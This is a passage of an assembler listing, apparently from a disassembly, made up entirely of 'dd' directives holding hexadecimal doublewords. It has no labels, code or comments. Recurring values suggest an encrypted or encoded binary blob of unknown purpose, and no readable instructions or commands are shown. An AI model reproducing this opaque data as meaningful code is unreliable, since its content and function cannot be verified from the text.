		dd 2EA9E9C8h, 0AA256540h, 55DB83CAh, 918FE8F3h,	0AD8F087Dh
		dd 0F355DBA6h, 0B8B6620Bh, 289D9BD7h, 0DB86CDAFh, 0EDEBF355h
		dd 27CF6F6Ah, 0E0AE547h, 0D6A6312Ah, 0F355DB8Fh, 9F7D7BF4h
		dd 9698C2FEh, 9D7BBDF9h, 9ADFBC05h, 0A095C501h,	0ABC90BB7h
		dd 0D4BD38AEh, 40DDBFFBh, 0A957D404h, 199E9DDAh, 3E7AE443h
		dd 56C08FD6h, 0DDCD9365h, 55EF19F1h, 0B789EED8h, 609759BFh
		dd 0E09EF2A5h, 329B7B35h, 4575B554h, 20B8B070h,	6545EC21h
		dd 5BD4D324h, 0C6438379h, 6C4E1CB3h, 3A53F292h,	736FAB4Ch
		dd 6AB68672h, 604385C7h, 495E05D7h, 8A436189h, 8949A3AAh
		dd 886F0861h, 9BD4EA98h, 4CBC269Fh, 0D68B2B0Dh,	0D2CEAACh
		dd 183F100Dh, 0D9D81F68h, 2669D95Eh, 4014D339h,	66EBEBAh
		dd 0E1EC2546h, 0A8D27E24h, 0D33ABC26h, 6B48A13Dh, 5993E7ADh
		dd 2D69190Ch, 611F5B39h, 23ACC16Bh, 2D232EACh, 0ECC08A2h
		dd 7325C5E9h, 0DCDC18F5h, 67E521FEh, 7C1420EFh,	0B249FA68h
		dd 0CA000016h, 0ECF2EE2Eh, 898FD111h, 0A9AFB1F1h, 0C7A593CFh
		dd 0E5B8A8E8h, 6AAA853Eh, 528E706Eh, 6FAB8866h,	4E8A6B71h
		dd 5A3A3512h, 0F4B5D7F3h, 31CC98D8h, 0DB8FD6A6h, 7BF4F355h
		dd 0C2FE9F7Dh, 0C5C4B398h, 0D6252A0Ah, 963CAA0Eh, 0DBF1D330h
		dd 0AED93257h, 6D4628CCh, 44343131h, 10C7B056h,	1A48841Eh
		dd 6EF5B1Dh, 3C11E9F1h,	0DA86B673h, 1D1D32E7h, 2FA82F48h
		dd 4323633Fh, 3B3C2662h, 0D7F7ED3Dh, 0DBCB0445h, 0E8BDFD39h
		dd 7A4A4038h, 4B2FF311h, 0DC7D28FFh, 936A5CD3h,	67DA8153h
		dd 0ADBFC365h, 0CBAC96D6h, 0C69C36A4h, 0A7EE659Bh, 7CF1CBF9h
		dd 6E4EC93Eh, 0C36532E7h, 85F5A3CCh, 2528EF47h,	5DC2FFF0h
		dd 0BF3BD4C1h, 9191F528h, 6DBDBBE7h, 989D85E9h,	0C5A92EE8h
		dd 0D1ECACE8h, 44E95938h, 0D6DAF573h, 0FA3AD2F4h, 2A39E7C0h
		dd 0D7CA98C6h, 73A6h, 3D31E200h, 3F7F1B60h, 194D2203h
		dd 1E17437Fh, 0DFDE1962h, 0EEFDF58h, 0ED0FE8D2h, 0F355DB66h
		dd 6176224Bh, 34CB047Bh, 6B0CFA1Dh, 300F899Ah, 0C2AD2621h
		dd 0D7C909A4h, 57E9B35Fh, 0DBD6A62Ch, 0A0EB7DB6h, 0A8865126h
		dd 9991CF0Bh, 389E126Dh, 4ACCCA02h, 0F8AB8F7Bh,	0BDCD1F65h
		dd 0A692CEAFh, 0B3AFEBC8h, 1554FEh, 6E4EC900h, 0D35FA5E7h
		dd 91F5A3CCh, 1C9392E5h, 527D8638h, 3E73990Fh, 7E6E1B43h
		dd 5CB716B4h, 8A25477Dh, 0BCAA254Ah, 0BBA19FDBh, 0D7A49EDAh
		dd 4616A1A0h, 5185BF23h, 6653FA4Eh, 99E3D704h, 0BCD97250h
		dd 4E26D02h, 0FDFAE828h, 0D497A33Dh, 3AE6B126h,	90CCA99Dh
		dd 71AD4A50h, 0C48B71E6h, 0A9DF62B2h, 15D316C4h, 0C76F07A6h
		dd 54CE47D9h, 185CA71Dh, 4304F42Fh, 9A7A3534h, 9114A938h
		dd 60433A57h, 0E27BFF77h, 0DF377810h, 3E7A1755h, 0AC2D9B19h
		dd 54FE5CB8h, 14B89Fh, 0F030D000h, 0D313EAF0h, 0EB2B07E5h
		dd 0D511EFEDh, 0EA2A05E3h, 3B8823EEh, 3E1C1C5Ch, 36342460h
		dd 391F215Dh, 6320205Ch, 0D5C1886Ch, 0CAA6F4B5h, 0A408D6BEh
		dd 627E695h, 835A729Eh,	8A4B09AFh, 6232BDF3h, 0A1D5C9FBh
		dd 6E6CAC88h, 0D8C8AD79h, 0BFBEB98Ah, 0E2037FF8h, 0A80B97DEh
		dd 7CE73F41h, 0EFD3FC33h, 7CE46A9Ch, 0D3D6F979h, 21CB8BC6h
		dd 2A3834Ch, 0F3949AC6h, 42C63722h, 0EC035A0Bh,	68A88363h
		dd 92E5A6B8h, 0BEB0EC8Ah, 0BBBCA6E6h, 4C2B1B94h, 0EA71430Ch
		dd 0CFADF9CAh, 0F7DDFAA6h, 0AE9BC0EFh, 41FD0780h, 4360D419h
		dd 789C1553h, 47AB294Eh, 18AA1799h, 13FBB94Ah, 73130000h
		dd 8C270533h, 760E0C4Ch, 86240A36h, 71100E4Ah, 0C55C2F31h
		dd 0F5E323FEh, 0E7D915F7h, 0ECEC2801h, 0E3D511EEh, 8CD3A92Eh
		dd 0F1F4B5D4h, 0E7C87175h, 0C9AB24ABh, 0F355DB82h, 470EEEE7h
		dd 2CF355DBh, 0E26C2C43h, 5D3F1BFCh, 0F355DBF6h, 7DBD92DBh
		dd 0E839D0EFh, 0C3946184h, 0C6164h, 0A631A000h,	55DB8FD6h
		dd 7D7BF4F3h, 0F3BCBBBCh, 0DEABDF21h, 0AC7CB07Dh, 61511D58h
		dd 323F9DE3h, 0A82F48EEh, 6A4E9C6h, 0C09790CAh,	0C1FD9A80h
		dd 832CA981h, 174387B6h, 0A2787FEEh, 85D20AD2h,	0DD1A6F20h
		dd 0C58359DEh, 6E69894Fh, 0C482265Ch, 7B43F545h, 415600E2h
		dd 4A78B44Dh, 7005AB6Dh, 4CDC9AE4h, 620F4145h, 1331h, 6B6DAD49h
		dd 6A56966Dh, 7868A884h, 5C5C9872h, 7563A37Eh, 0E5C4FFAAh
		dd 0D7B5B3A5h, 0E2BF9D9Bh, 0D3B4BAA6h, 0E3ECA997h, 0B5CB4A11h
		dd 333F2FF4h, 0AFABE7C8h, 0A694D0ADh, 0CF20B918h, 0C3946169h
		dd 0BB14Bh, 0F2D67D00h,	7DF704E7h, 191FD7C8h, 0A46E4C2h
		dd 0C5A442D0h, 3BA591D3h, 0E70A614h, 917A3B87h,	0BD91E18Fh
		dd 940B7334h, 8D807FFBh, 5AAE5D39h, 55732944h, 60203757h
		dd 56E1E017h, 12DBCA86h, 30CEC09Ch, 2FF1C6F4h, 0B2062E37h
		dd 2CCFA3E2h, 699F8D3Ch, 39791153h, 0A1A88C09h,	61C511Ch
		dd 0E6718671h, 694B2708h, 1C511CE2h, 97C9AEC7h,	8AB8F491h
		dd 4181190Dh, 4A36760Dh, 40F7F601h, 66A7A55Ch, 0F0EC4079h
		dd 0C9A9856Ah, 0D5D409DCh, 51C60FB5h, 8C01E46Bh, 0D0A4C9D5h
		dd 0D58C0189h, 0E66E89EEh, 0F20AC4A6h, 3E9A2739h, 56000012h
		dd 603E7ABAh, 555385C5h, 5D3B7DBDh, 535987C3h, 994474B4h
		dd 0B6F69132h, 0C602A48Ah, 0BBF7949Ah, 0C2FE9F7Dh, 0E6B6C196h
		dd 0F4B5CA7Fh, 0C8000464h, 0ADAFABE7h, 0AF60FFD0h, 92653C19h
		dd 0E6EDD328h, 0C9AE3E5Eh, 55E4E399h, 9369B004h, 33098EC3h
		dd 0F3552B2Ch, 21216139h, 0AEC7A44h, 0BC9394CEh, 0A9CC9BCh
		dd 0E5FB0000h, 381C9392h, 0EF06479Ah, 49851E10h, 0D69F8719h
		dd 3758D798h, 76086020h, 3352B014h, 0B6A9283Fh,	1E576DF4h
		dd 173E1E99h, 7CB4B9E7h, 79005F3h, 104A8627h, 22036917h
		dd 0A07D71E6h, 0C2A8B464h, 1CB9A9E5h, 6414502Ah, 0D940A414h
		dd 0FBC64F8Eh, 0D7CB3EAEh, 7C609F15h, 0E8C7A730h, 688FF8A8h
		dd 9B0EEE69h, 16EF8C9Ch, 58095FFDh, 9D9AD6A6h, 5BF33BFh
		dd 56AEE470h, 232D81F2h, 11548Eh, 4C8C6C00h, 37770E0Ch
		dd 47872309h, 39751319h, 46862107h, 0E7DC471Ah,	0D2D80848h
		dd 0E2C8F834h, 0CDCB0D49h, 0FC4F430h, 0C9ADB488h, 5612F4B5h
		dd 0ABE7C892h, 94D0ADAFh, 0ABE7C8A6h, 97D3ADAFh, 0A7E3C1ABh
		dd 2B6A03CEh, 4C9D2C8Bh, 0C39461E8h, 9C5C8h, 0B131FC00h
		dd 0A9DF2ADAh, 4535E386h, 3110EF42h, 0B071B2EDh, 0E7E357A4h
		dd 0DA8CD8ABh, 8CFCEA9h, 0FC5B4D34h, 115C2834h,	393944DEh
		dd 54FCF2E2h, 0DF581DA7h, 0E6D20EEFh, 3E2FF171h, 38E7CD88h
		dd 43241E5Ah, 11EE6C2Ch, 0D324E5D5h, 59795BD4h,	0F624C602h
		dd 0D1920A86h, 7514F29Bh, 3DF34335h, 0E05A5A0Ah, 0D703D1A6h
		dd 886ED4C8h, 108F29DAh, 7A70000h, 0F89399C7h, 0AA288B8h
		dd 0F2908ECAh, 5A48AB6h, 61C893C5h, 5987C762h, 4375B153h
		dd 5090CC65h, 6F71AD4Ah, 10371D92h, 75F4B5C8h, 0E7C8EDF9h
		dd 0D0ADAFABh, 1D9F1B94h, 0CC08A6ECh, 42D00A0Eh, 57F2CC56h
		dd 65A17EC6h, 9E086C73h, 6CE8C393h, 6B000002h, 0D760A07Bh
		dd 551F5E05h, 6E2A43F3h, 0ABE7C80Ah, 8BD0ADAFh,	0B5B2B0F0h
		dd 0DB331AFAh, 0DF98F355h, 0E4B83FF8h, 0F355DB7Dh, 9DA67862h
		dd 258AE711h, 0F9C24E4Ah, 6438FFFEh, 0BF494F20h, 0B4FE7ACBh
		dd 4C1B1F74h, 510C8047h, 7AE1B33Ch, 5FF37645h, 1A35750Dh
		dd 231F585Eh, 0C5111F47h, 6BE46BA6h, 0E129C289h, 0AECEA75Eh
		dd 5EE129A7h, 0C5B5630Ch, 5B17B1E0h, 7D7F01F1h,	543A0884h
		dd 0FD73C455h, 0DF684E1Bh, 0A0h, 5E9E7658h, 0F7D78364h
		dd 760D402Ch, 0E533FF01h, 3A21F392h, 9FF355DBh,	0DBFF6636h
		dd 8BE4F355h, 4BC48B64h, 447EBA5Bh, 7FC5B563h, 18D8AAA9h
		dd 7C822983h, 7CB85539h, 9B7693Eh, 0D49E2C4h, 5028D8CDh
		dd 7466FD49h, 0DA5890Eh, 1D00472Dh, 10657B49h, 0C58C70E7h
		dd 0AA7B491Dh, 0C8ADD3C5h, 0AF97A29Ah, 0DA557242h, 73EC53FAh
		dd 5E363862h, 2C43241Eh, 0FA59FC6Ch, 5F4FEA7Dh,	5F5882BEh
		dd 35BA13A1h, 6196F85Fh, 0E898DDEAh, 58111D90h,	0D5D4BA5Bh
		dd 907DF344h, 2A5F1948h, 89000001h, 24ABE7C8h, 3B276742h
		dd 33D43E3Ah, 0F333CABCh, 470EEEC7h, 2CF355DBh,	38D75543h
		dd 43E4CAF8h, 34D1DB07h, 5B4BC8F8h, 0A9817FBFh,	3C0FD113h
		dd 12F1954Ch, 9064EBDFh, 0C24D10C9h, 0A1E1C0AEh, 0EDABC4A1h
		dd 61402EA7h, 71075F21h, 3497241Fh, 1940149Bh, 7E2EAA11h
		dd 842107F9h, 0FF7B1848h, 0BA6E9E89h, 0FB62327Ah, 0E02EAAEFh
		dd 0F48EC097h, 0EBAD8AB8h, 0E96E6D8Ah, 0D5933813h, 83200EA1h
		dd 49852747h, 49E6DF57h, 0BFB3CB62h, 97354B48h,	1952D045h
		dd 0D111ECC5h, 0E269491h, 0B4C2BE35h, 7712F4BBh, 50CF2A2h
		dd 0D818F61Fh, 3286342Eh, 83B59AC4h, 2CA0AA5h, 2A7823E0h
		dd 4E982937h, 6600000Eh, 504E8ACAh, 654375B5h, 4D4B8DCDh
		dd 634977B3h, 895484C4h, 0C606A122h, 0B6F2949Ah, 0CB07A48Ah
		dd 0B2EE8F8Dh, 0F6C6D186h, 0F4B5CE6Fh, 0C8501454h, 402EA9E9h
		dd 41362464h, 0CC36CB3Fh, 0FC38B201h, 0B292FBE4h, 0E942BE7Ch
		dd 3AC38A6Ah, 0CFA8F355h, 9572F8A8h, 0FCEA6759h, 6FE1E121h
		dd 447B39FEh, 73254ADBh, 0ABE7C80Fh, 573816AFh,	623D1F1Bh
		dd 183F3822h, 0E9250268h, 69446F7h, 31420000h, 0BBAABEB1h
		dd 0A5C9A343h, 9592D00Ch, 5655A2E3h, 0B84BFBE1h, 75E49477h
		dd 7B95E43Ah, 0B4AEEA8Bh, 0BBBFC5B3h, 0B28353Ch, 0C46244B9h
		dd 8C63A37Fh, 19A7594Eh, 10EBDB54h, 0EBB50E3Bh,	3B1475FAh
		dd 47831DFFh, 0EDE7030h, 9FD9B7A4h, 5BFB7443h, 0EE8C7AE3h
		dd 3DF73C1Dh, 8671C59Bh, 8E8AC668h, 8A78700h, 0A99D9AC8h
		dd 0CFA892D2h, 6A6D59D1h, 695D65D4h, 1512508Ch,	58573D63h
		dd 2804E2C1h, 0C32938E8h, 0A5F2F8F4h, 2CCh, 633D31DFh
		dd 0DE091B92h, 5B74CE58h, 0A29A865Fh, 38068B22h, 2A00514Dh
		dd 6A45291Dh, 34486E2Ah, 7AB75304h, 0D0CFA899h,	0BAE33507h
		dd 558C34FCh, 0FA948C12h, 4FA8917Ah, 83EC9215h,	13DDACCh
		dd 7BB75836h, 0A6BA663Fh, 24ABE7C8h, 98D5A1B6h,	402E8BDEh
		dd 0EA742464h, 60D7D621h, 0C91F827Ch, 0F996789Ch, 0FF08FDBDh
		dd 9AD4B4F1h, 36BB8EDEh, 3760C00Fh, 827EBA57h, 832CCBAAh
		dd 0A1D6F0ADh, 0BDA7FB13h, 650E4439h, 0CB5h, 0EFF131CDh
		dd 0E6D212E9h, 0ECEC2C08h, 0E8D814EEh, 0F9E72702h, 69487B26h
		dd 53313729h, 66432917h, 4F302E2Ah, 67702513h, 0B5CDCE95h
		dd 0AFB3B3F4h, 53EFB131h, 9279BAC8h, 6BA788E6h,	54906D6Fh
		dd 20B99866h, 76B64D41h, 0AFAD6B4Ch, 0BFA692CEh, 0C393F339h
		dd 1E71Bh, 0E7C84D00h, 0F03809A2h, 672A073Fh, 18FCBA4h
		dd 0E8F1B848h, 0E611E652h, 8E6B5BFCh, 0E7C8A652h, 0ABCCADABh
		dd 535123ACh, 0DC39BD13h, 3092222Bh, 0E4A56C10h, 546A5B06h
		dd 944B1F1Bh, 0EA7AE1BBh, 0B4C88F65h, 0BE553E91h, 0DB63447Eh
		dd 9AD6B492h, 49428EDEh, 5638689Ah, 0F67C7CB8h,	883ACE86h
		dd 0F99193F4h, 5A389B9h, 24A399C9h, 72B24D95h, 8716915Dh
		dd 0D498C236h, 60A273h,	0E5C60000h, 931C9392h, 0F28FD8B3h
		dd 0C4AB8CB6h
		dd 0DB22290Bh, 0EE87F355h, 3AAB3A32h, 3AC6E6D7h, 0B75B675Ah
		dd 9D3458C3h, 0F3C94E10h, 8019446Ch, 34741351h,	5A463106h
		dd 0DDDD922Ch, 0D112590Dh, 43E3D6F8h, 0C4B8C71Ah, 0C11507AAh
		dd 932AA5EFh, 0F935D2B4h, 252CECC9h, 0B03799CFh, 0E6B1h
		dd 0E7C8D300h, 6A4224ABh, 63E46E2Ah, 0B365A183h, 159ADAB5h
		dd 0DB93BA9Ah, 7FF8F355h, 0F08D8F81h, 7A886B4h,	0B0AAEAC2h
		dd 0C8A0A0B7h, 5B869003h, 0D9EA2D1Eh, 0DBEAE4Dh, 8E3C2F7Ah
		dd 0E38289F9h, 0B2A49C77h, 8BC768C6h, 8C8B6C4Dh, 91BCF1C3h
		dd 5334F65h, 0D0CC3C1Fh, 0E9E7C2DCh, 75FFACh, 78B85737h
		dd 87C76248h, 42EDAFCDh, 41F260F9h, 0B0Dh, 17498925h, 0FE3A7A11h
		dd 14448420h, 407C16h, 13F7F1Ah, 31D0F34Eh, 0BE9EFF1h
		dd 0EE8B91CFh, 7A886B2h, 0BFB88DCBh, 0B5C376DDh, 470B5BF4h
		dd 1A0E9C8h, 0B59AD6B8h, 10C7B085h, 0DBAEB587h,	5A13F355h
		dd 0A515B29Eh, 913D183Ch, 9F7D7B15h, 0B5222FEh,	70F355CBh
		dd 8767F007h, 67EECEAAh, 4CF355CBh, 790E4C23h, 55CBBCA3h
		dd 234C21F3h, 0C81DE975h, 22290BE7h, 87F355DBh,	0C94E09EEh
		dd 0D30F4BE5h, 0DB5B02D2h, 3740F355h, 38D5D749h, 3B33BCFCh
		dd 45000003h, 1C9392E5h, 0D674C738h, 0B1925AB1h, 0C3B7739Eh
		dd 0F4B32FEAh, 626015AFh, 0C38A6AE5h, 0A8F4A363h, 0FA59D1CFh
		dd 95B7D026h, 2EA157D3h, 6FB6B686h, 9E1C384Dh, 55D8B5Ah
		dd 0B5947E6h, 0F1C34C41h, 7F4D466Ah, 0CBB1264Fh, 7F4D4684h
		dd 0F99484E9h, 0EF8D8160h, 0F2AE87B3h, 7BC90D63h, 2BEEF37h
		dd 0D6190000h, 0CE6A4229h, 9EE7C3A3h, 9C99C905h, 7D75C5B3h
		dd 55881535h, 6B53FADAh, 41E0098Dh, 50502501h, 95FF3202h
		dd 4DCD192Bh, 6631CC08h, 2E06E85Bh, 5F3F4EEh, 0EEED0A7Fh
		dd 8F049369h, 97AF00E2h, 25E2149h, 0AD39932h, 0D8BC3310h
		dd 800AC571h, 695F2156h, 0BE7366D4h, 11EE7D06h,	430C610Fh
		dd 18F1C263h, 919361BAh, 0BCA29EB9h, 9F189FDBh,	0A9796BDh
		dd 8672FB80h, 0C0C8AF9Ch, 0E2C4A2DEh, 94BBBCA6h, 0CD1C391Bh
		dd 6D339D17h, 30127C0Ch, 0D51F954Ch, 1FFBEB89h,	1CF9E3DFh
		dd 9309F7E0h, 0B4C884E9h, 6B9C0FB3h, 9634CF5h, 9B7B0000h
		dd 0A47F5D5Bh, 9E767464h, 9E7C625Eh, 99787662h,	0DB46759h
		dd 9D9BDBB6h, 9FA1DDBFh, 0B4A4E0B9h, 9B9DD9B6h,	440BF1E6h
		dd 29F4B5C1h, 0E7C8393Dh, 0D0ADAFABh, 0F9D8A694h, 3B771860h
		dd 65A216FDh, 280C394h,	40DC9F69h, 3A6D4200h, 0B9249F61h
		dd 0AF000001h, 280D5428h, 0FD72F355h, 3D3137FBh, 3F382262h
		dd 0FE3ADB41h, 0E5BA5539h, 0BED9D520h, 0B96790D6h, 0ACE8C5A7h
		dd 0ADACCBACh, 80C7AD22h, 0E5F35555h, 836CAC87h, 97770095h
		dd 0A67FBBFBh, 0CE1882FAh, 0BB79A50h, 4E906FBFh, 0A4CAE8EEh
		dd 2A1CB13Bh, 4E271353h, 0F4B2452h, 0A548CB1Bh,	4B9DA42Dh
		dd 8A5A8D7Ch, 0BBC04E8Ah, 13AA256Fh, 0CAC86EC2h, 0C15A4C34h
		dd 76009385h, 73000000h, 0D7AEF793h, 74C0C097h,	1C9392E5h
		dd 13A7CE38h, 54196194h, 7720583Ah, 54351C00h, 0D59A5F38h
		dd 7D295323h, 2BA443AAh, 621E5A3Bh, 39751254h, 17432C09h
		dd 3F4BC023h, 0C414AB2Bh, 25AA2A6Ch, 0D483CAAAh, 8FE8EA68h
		dd 68D4E66Dh, 3202CBEAh, 0EA68D42Bh, 1010E790h,	2D23F242h
		dd 5630B2CFh, 52926D61h, 0A9579374h, 0F2469726h, 0D2F1B1ACh
		dd 0BAh, 0ABE7C8F6h, 0FDD2ADAFh, 0CF921EA5h, 5FD8FF57h
		dd 6555916Fh, 0A07E9090h, 9597C3FFh, 0AC7CBCF8h, 2229C578h
		dd 6853BFF3h, 9DF28243h, 0B613B346h, 9D9BD7B8h,	139C9BDCh
		dd 13E02F41h, 29A240C4h, 63178F46h, 9953A52Eh, 0B173B624h
		dd 92E03A86h, 294EF8E6h, 9EE3C0AEh, 0EEAAC501h,	95705ED9h
		dd 90906555h, 28AFEF8Ah, 6B2D6946h, 0A68462DFh,	0D1B0AE6Ah
		dd 0C7C9C391h, 0C092AD8Ch, 79C33h, 94D4B400h, 0AFEFC6A4h
		dd 8FCFABB1h, 71AD4B51h, 4E8E696Fh, 0DFE43F12h,	0DAC00040h
		dd 0DAC0003Ch, 0D5D30541h, 7BCFC38h, 0C7A5AC90h, 5E0AF4B5h
		dd 0A9E9C89Ah, 98D4B1B7h, 0E7C8DCA8h, 0D0ADAFABh, 1B1BA494h
		dd 6D000000h, 0AFABE7C8h, 0A694D0ADh, 0BE06973Ah, 0AB3A5E1h
		dd 23h,	3CD9CDh, 0E7C83400h, 4BBAFABh, 1FF77238h, 71D61F9Ah
		dd 9A431B1Fh, 2C7E5C02h, 2BCC14A5h, 0C805F1EFh,	22290BE7h
		dd 87F355DBh, 0F0D909EEh, 6D4F0807h, 8E90CF4Bh,	0C02BDE24h
		dd 0D58FE3A5h, 0B8FAC635h, 0EE690Eh, 0E3C24E1Fh, 881A86F5h
		dd 4873F1DAh, 735CD770h, 8AC66745h, 3CD7B750h, 37E9BEFCh
		dd 0FA95294Eh, 2E6CBF54h, 6D82C259h, 0C3E7CD82h, 0F7C24848h
		dd 4DAE6C8Bh, 7A0E1FE9h, 81473D26h, 0FE6E2A45h,	0ACDDCDECh
		dd 0FCF2C5B5h, 0EEE74AE2h, 0FBE72300h, 0FF78FEFAh, 7DB95638h
		dd 0F838D4B2h, 0F87F1408h, 0E0DC3D24h, 0CBCDA24Eh, 4674B04Dh
		dd 0FF1B51D1h, 0C0D20C5Ch, 33168402h, 413F73CDh, 6E60FFF8h
		dd 8C695995h, 0E0F5E168h, 2B11C64Eh, 4EE0F524h,	0DB0BE489h
		dd 0E8BDFD39h, 5D74480Fh, 7355C80Fh, 0C4B4F493h, 62380A74h
		dd 0C8A62FE2h, 7DEDABE7h, 32D1F216h, 0CCA1DBh, 135B4110h
		dd 36681947h, 4E000006h, 684672B2h, 4D4B8DCDh, 654375B5h
		dd 4B518FCBh, 0A16C6CACh, 9EDEB90Ah, 9EDABCA2h,	0A3DFBCA2h
		dd 9AD6B7B5h, 0EEEE99Eh, 0F4B5C647h, 31383C2Ch,	0DFB6DAB1h
		dd 3F59ED7h, 0C4C8825h,	535710Eh, 104A8627h, 0C20AA31Eh
		dd 402EA9E5h, 3B3C2662h, 5234D13Dh, 967D7BBBh, 0C393CF22h
		dd 9002h, 0A6312600h, 55DB8FD6h, 7D7BF4F3h, 0F3BCBBBCh
		dd 7CC2FE7Ch, 0FEA67075h, 557A371Eh, 0FCD39CF3h, 1FE52CFCh
		dd 54DB286Ch, 421CD980h, 0C7B9BEC8h, 0D500EB6Fh, 0BBAECE66h
		dd 0E07C3884h, 44B31A6h, 1134B994h, 0D623C78h, 0A0796DE2h
		dd 96847464h, 9CE730ABh, 0A694D0AAh, 0ADADEDC8h, 89E19FB8h
		dd 78477918h, 94D791E1h, 2DA23CBCh, 75235F39h, 8E4516F7h
		dd 244DEB2Dh, 8268587Fh, 0D86D6DA9h, 0DFDB1BF6h, 4A691A06h
		dd 6E000005h, 0B365A580h, 0ABE7C8CFh, 94D0ADAFh, 0B94F9F1Bh
		dd 0E7A3A768h, 13642539h, 40149B14h, 0F3554019h, 40A6AD8Fh
		dd 620BF355h, 0F0E593DCh, 72134F0Ch, 0BAD8EA45h, 0CCC13D29h
		dd 84C46343h, 0D47B6156h, 0CABE88B5h, 88B563EAh, 972F48BEh
		dd 0C2003CD5h, 6F450AE5h, 0BE88B5E8h, 80F8A8CDh, 0F4D677FFh
		dd 6D6D02BCh, 25E1E37Dh, 0B30F7CB5h, 60D441F2h,	0EA3BF22Eh
		dd 9726A1EBh, 0A5AFF246h, 72D289h, 61450000h, 0AD9987C3h
		dd 0DDE1B131h, 0F11A1DD6h, 3231462Fh, 7614F27Dh, 7927003Ah
		dd 4EF12801h, 38B8C765h, 200EC70Ah, 0C5A4682h, 4100B028h
		dd 62E0F5A0h, 9E6E953h,	2D534524h, 4C221A48h, 23A0969Ch
		dd 0EBCB8FFBh, 0C523BEBEh, 0E6A08671h, 0CF9666F1h, 0B4F96D7Bh
		dd 7B12391Bh, 0FE77F96Dh, 15A427D9h, 7EBA5836h,	0C61D9382h
		dd 19FFB95Bh, 29000001h, 238BB131h, 0EC5DE06Ch,	15512E2Ch
		dd 28684725h, 1753343Ah, 0DEBCAA2Bh, 0C1BFB8A2h, 0B4E9BA5Bh
		dd 1552451Eh, 5525133Ch, 64BB2A7Ah, 79056AF5h, 1A2B4F8Eh
		dd 9F351442h, 0AEB30CDh, 0B39394CEh, 0F9BE99D5h, 45797489h
		dd 0C094755Ah, 0F355B599h, 0A25E79FEh, 93CFB0AEh, 9695E2A7h
		dd 8F843B21h, 319F3F18h, 0A40CB7A4h, 0E0CE5BD0h, 0E98E3844h
		dd 0EAE90EF7h, 1FFCEA65h, 3869F7E3h, 5ECDC193h,	90E898BFh
		dd 0F188F47Eh, 41C0CE4Ch, 36BE18F7h, 7724F24Ah,	3D2D1D1Fh
		dd 76A30FEAh, 9F185DE7h, 96BD9F18h, 0FB2A330Ch,	70D7BD72h
		dd 552A330Ch, 1FFA6020h, 0F664E1DFh, 598B04ECh,	67C5B35Bh
		dd 0D6CC88C8h, 853F7E8Ah, 38726DBh, 0FF9F0000h,	9B81BFh
		dd 29A80C0h, 0FA9896C2h, 0FD9C82BEh, 79D07BBDh,	716FAF4Ah
		dd 0B4D896Bh, 838740Dh,	17498522h, 0F85F353Ah, 0DDF4B5FBh
		dd 0E9C8C591h, 0D4B1B7A9h, 271CED8Fh, 0B66BD28Bh, 8E4C23h
		dd 0D4E5B798h, 64509067h, 21F392E5h, 0F355DB3Ah, 0EE6CD69Fh
		dd 6F8689E1h, 9468EF08h, 0DFEF701Eh, 0C6F5E799h, 6B2C289h
		dd 0CB4B60ABh, 1E0E4C21h, 1D816491h, 7AA5DEF0h,	6FFFF3F8h
		dd 62C09698h, 3B8C1DACh, 9FFA22B5h, 0F497h, 9EA22000h
		dd 0D74998Ah, 0D87F55DAh, 0BDD0CF1Ch, 0C87CC8B8h, 0ADAFABE7h
		dd 2FA892D2h, 0DB8DD4A8h, 74F2F355h, 7E7A5595h,	7C7ECCAEh
		dd 8B17AB72h, 0C2B2747Ch, 0F5B3ACDh, 0C3FFA08Eh, 0BAF69795h
		dd 69EC85F5h, 8924C3CDh, 8B8DCD65h, 0B7BFB881h,	0CDAA98D8h
		dd 78472DA2h, 0F36D27AAh, 0CE32566Ah, 85FB9367h, 30D6E345h
		dd 47301947h, 6EAD8F48h, 9975ED0h, 2E52FEB8h, 23F9C999h
		dd 2ED866C1h, 0D8B8E1B4h, 0C46366A0h, 0CB846B84h, 0BBE97044h
		dd 0A0CE26CDh, 0EDABC404h, 0DB1BF6D8h, 52F9DB54h, 0DF26CDBBh
		dd 323B0343h, 3D3B7714h, 0EC2CCBD1h, 4C3F8460h,	7C055B43h
		dd 23Dh, 4779B955h, 4E8ACA61h, 4474B450h, 5090CC66h, 716FAF4Ah
		dd 0E1C0039Eh, 0DBB99FA1h, 0DEBBA19Fh, 0D7B8B6A2h, 0EFE89D9Bh
		dd 0B5FA460Dh, 373B2BF4h, 0B7A9E9C8h, 0A898D4B1h, 0ABE7C8DCh
		dd 94D0ADAFh, 0A4E9C6A4h, 9C99C909h, 890E87B3h,	55DBACB3h
		dd 9C5C11F3h, 129D9CDBh, 0D50D0042h, 2F058ACEh,	0E6D50D28h
		dd 4038E88Dh, 4FCE64C7h, 0E36A4AC5h, 704D2C2Bh,	90655595h
		dd 9EDAB8B6h, 0ECACC3A4h, 3FADB6C6h, 882E03E3h,	35F0F3EFh
		dd 7FBB5CA4h, 80DB4AB8h, 6E54D71Eh, 817F5894h, 0CCCBAC8Dh
		dd 0BE093103h, 0E46647EEh, 0F505BAEEh, 62EB105h, 591EA8CFh
		dd 66A28369h, 5797727Ch, 67A3816Bh, 0D168E37Bh,	12AB2692h
		dd 79B55333h, 0BAB9BE87h, 0EF8C7AF5h, 2475C5B3h, 0D318A490h
		dd 6234623Bh, 0D5810196h, 0D4A8A242h, 4209EB64h, 27363957h
		dd 5BDA524Eh, 604930C5h, 0E4B55737h, 52068573h,	0A595BA7Fh
		dd 0CDA2D0D0h, 0ABF08D8Bh, 371D92CEh, 6F21A210h, 60D70075h
		dd 6C56966Eh, 7B67A782h, 0FADA557Ah, 6F21A253h,	0CF413F38h
		dd 845834CDh, 6F21A2DDh, 98C2ADC2h, 3179109Dh, 5F281854h
		dd 0BE9E1918h, 0CF9ACCE3h, 0B9D1ED7Eh, 24C6B697h, 0B513346Eh
		dd 727C660Fh, 8A695995h, 0D34F2EBFh, 92B8277Fh,	58803A93h
		dd 257E1FE6h, 50271010h, 0CB68651h, 6B6ABF9Fh, 1420CFCFh
		dd 85A462D2h, 4F753812h, 0AE3F0091h, 0DDED87CEh, 0D783ECF8h
		dd 0C196D7B8h, 0C2C1B67Fh, 0EC20270Dh, 0F73B6273h, 0EBF69F60h
		dd 1FE11DFBh, 80BE3C91h, 0C10BB73Eh, 7FE6B681h,	64FAC6A3h
		dd 0A51D0D0Bh, 0ECE0AC40h, 0BAF694D2h, 4F2C1A95h, 0F1FB6513h
		dd 2E8D814h, 1F9E925h, 0EE58027Eh, 2AA3BC11h, 76DD5D84h
		dd 3B98F92Fh, 4189209Bh, 9B382864h, 538FCFABh, 50F7DD52h
		dd 3598F921h, 3DDA4040h, 6244C101h, 594E8CC8h, 0ABE7C1A7h
